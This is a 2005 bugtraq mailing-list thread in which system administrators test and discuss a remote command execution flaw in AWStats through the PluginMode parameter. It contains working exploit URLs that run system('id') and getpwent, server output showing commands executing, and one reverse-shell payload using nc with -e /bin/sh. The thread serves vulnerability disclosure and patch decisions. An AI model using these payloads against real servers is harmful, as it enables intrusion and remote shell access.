bugtraq - Re: AWStats <= 6.4 Multiple vulnerabilities

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Date: Tue, 15 Feb 2005 16:46:21 -0500
From: Jamie Pratt <jpratt@...wich.edu>
To: bugtraq@...urityfocus.com
Subject: Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in
 6.3?


Still no dice on 6.3, even with the "config=www.site.org" etc,etc.. same 
error. So.. Can we all agree that 6.3 is not vulnerable, because I'd 
rather not upgrade to a dev/unstable release for no reason...

regards,
jamie

Herman Sheremetyev wrote:
> It works on mine too, though I still have 6.1.  I think you may need to 
> add the config=www.example.com into the url between the '?' and the '&' 
> for it to work properly though.  On my linux boxes with apache 2.0 it 
> displays the command output in the page but on openbsd with apache 1.3 
> it gives a 500 Server Error because the output ends up in the headers 
> somehow.  Either way it works though.
> 
> -Herman
> 
> Ondra Holecek wrote:
> 
>> It seems this bug works only on my server, i dont know why
>>
>> /awstats.pl?&PluginMode=:print+system('id')+;
>>
>> reply:
>>
>> uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256
>> Error:
>>
>> Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or
>> permissions) may be wrong.
>> Check config file, permissions and AWStats documentation (in 'docs'
>> directory).
>>
>>
>> awstats: Advanced Web Statistics 6.1 (build 1.751)  (original)
>> perl: This is perl, v5.8.5 built for i586-linux
>> os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown
>> unknown GNU/Linux
>>
>> Ondra
>>
>>
>> Jamie Pratt wrote:
>> | So what are the conditions of this bug/vuln?  I can't reproduce this on
>> | several 6.3 installs..:
>> |
>> | awstats 6.3 from source:
>> |
>> | request:
>> |
>> |
>> http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+; 
>>
>>
>> |
>> |
>> | output:
>> | ****************
>> | Error: Can't locate object method "BuildFullHTMLOutput_print" via
>> | package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
>> | line 1.
>> |
>> | Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
>> | permissions) may be wrong.
>> | Check config file, permissions and AWStats documentation (in 'docs'
>> | directory).
>> | ***************
>> |
>> | regards,
>> | jamie
>> |
>> | Ondra Holecek wrote:
>> |
>> |>
>> |>
>> |> GHC@....securityfocus.com wrote:
>> |> |
>> |> | /*==========================================*/
>> |> | // GHC -> AWStats <- ADVISORY
>> |> | \\ PRODUCT: AWStats
>> |> | // VERSION: <= 6.3
>> |> | \\ URL: http://awstats.sourceforge.net/
>> |> | // VULNERABILITY CLASS: Multiple vulnerabilities
>> |> | \\ RISK: high
>> |> | /*==========================================*/
>> |>
>> |> [...]
>> |>
>> |> |
>> |> | PluginMode=:print+getpwent
>> |> |
>> |> | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
>> |> | This will satisfy eval() requirements., and :print getpwent() is
>> |> executed.
>> |> |
>> |> |
>> |>
>> http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent 
>>
>>
>> |>
>> |> |
>> |> | Sanitazing limits user's input, but there is no filtration for call
>> |> sympols '()'.
>> |>
>> |> no, user is not limited, he can execute ANY command if he add ; at the
>> |> end of the command, try this
>> |>
>> |> awstats.pl?&PluginMode=:print+system('id')+;
>> |>
>> |> or even this
>> |>
>> |> 
>> awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
>> |>
>> |>
>> |> Ondra
>> |
>> |
>>
>>
> 
> 

-- 

James Pratt
Unix Systems Administrator
Norwich University
http://www.norwich.edu/it
<jpratt@...wich.edu> | ph. (802)485-2532